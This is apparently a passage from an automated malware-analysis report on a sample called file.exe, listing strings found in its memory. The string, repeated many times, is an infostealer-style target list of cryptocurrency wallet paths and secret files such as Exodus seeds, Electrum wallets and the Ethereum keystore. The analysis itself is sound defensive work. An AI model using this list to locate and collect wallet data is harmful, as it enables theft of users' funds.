Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
